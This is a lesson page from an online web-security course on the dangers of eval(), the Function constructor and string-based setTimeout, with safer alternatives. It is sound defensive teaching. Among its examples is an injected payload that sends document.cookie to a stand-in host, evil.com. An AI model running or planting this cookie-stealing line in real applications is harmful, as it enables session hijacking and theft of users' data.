Course contentsShow
← Security
Lesson 1052 of 3,05222. Web Security - Client-Side and SPA SecurityFree lesson

eval() and Dynamic Code Execution Risks

Understand dangers of eval, Function constructor, and setTimeout with strings, plus safer alternatives.

eval() and Dynamic Code Execution Risks

What you'll learn: Why eval() and similar dynamic code execution functions are considered dangerous security risks in JavaScript applications.


The Core Problem

Functions like eval(), the Function constructor, and setTimeout() with string arguments allow you to execute arbitrary strings as JavaScript code. This is like handing someone a master key to your application—if an attacker can inject malicious code into these strings, they can execute any JavaScript they want in your application's context.

Think of it this way: eval() is like copying and pasting text directly into your running program. If that text comes from user input or an untrusted source, you've just given an attacker complete control.

Dangerous Patterns

// DANGEROUS: User input executed as code
const userInput = getUserInput();
eval(userInput); // Attacker can run ANY code

// DANGEROUS: Function constructor with strings
new Function(userInput)();

// DANGEROUS: setTimeout with string argument
setTimeout(userInput, 1000);

If an attacker provides input like "document.location='http://evil.com?cookie='+document.cookie", they can steal sensitive data or perform any action on behalf of the user.

Safer Alternatives

Instead of dynamic code execution:

  • Parse data as JSON using JSON.parse() (never eval())
  • Use object property access instead of evaluating strings
  • Pass functions directly to setTimeout/setInterval
  • Validate and sanitize before any string manipulation
// SAFE: Parse JSON data
const data = JSON.parse(jsonString);

// SAFE: Pass function reference
setTimeout(myFunction, 1000);

Key Takeaway: Avoid eval(), Function() constructor with strings, and string-based setTimeout()—they turn user input into executable code. Use structured data parsing and direct function references instead to prevent code injection attacks.